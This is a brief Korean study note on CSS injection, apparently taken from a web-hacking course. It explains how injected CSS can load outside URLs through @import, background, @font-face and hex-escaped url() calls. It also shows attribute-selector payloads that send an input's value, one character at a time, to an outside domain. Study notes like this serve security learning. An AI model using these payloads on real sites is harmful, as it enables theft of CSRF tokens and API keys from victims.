[WEB Hacking] CSS injection

CSS Injection?

CSS Injection은 악의적인 문자열을 삽입하여 악의적인 동작을 이끄공격
CSS 속성을 삽입해 웹페이지의 UI (생김새)를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔치는 기술

데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능해야 합니다. 그래서 CSS 선택자로 표현이 불가능한 “script” 태그 내 데이터들은 탈취할 수 없습니다.

1. 외부 URL 호출

HTTPLeaks 가젯이용: https://github.com/cure53/HTTPLeaks/blob/main/leak.html#L266
대표적 예시

CSS 가젯	설명
@import ‘https://leaking.via/css-import-string';	외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다.
@import url(https://leaking.via/css-import-url);	url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다.
background: url(https://leaking.via/css-background);	요소의 배경을 변경할 때 사용할 이미지를 불러옵니다.
@font-face { font-family: leak;src: url(https://leaking.via/css-font-face-src);}	불러올 폰트 파일의 주소를 지정합니다.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2);	CSS 에서 함수를 호출할 때 ascii형태의 “url”이 아닌 hex형태인 “\000075\000072\00006C”도 지원합니다.

2. CSS Attribute Selector을 활용한 데이터 탈취

구문	설명
[attr]	attr 이라는 이름의 특성을 가진 요소를 선택합니다.
[attr=value]	attr 이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
[attr~=value]	attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
[attr^=value]	attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
[attr$=value]	attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.

예시

/* inputdml value가 지정한 알파뱃으로 시작할때 get requeust 호출 */
input[value^="a"] { background: url('http://ourdomain.com/?char1=a'); }
input[value^="b"] { background: url('http://ourdomain.com/?char1=b'); }
...
input[value^="z"] { background: url('http://ourdomain.com/?char1=z'); }

출처

https://learn.dreamhack.io/327
https://velog.io/@hunjison/CSS-Injection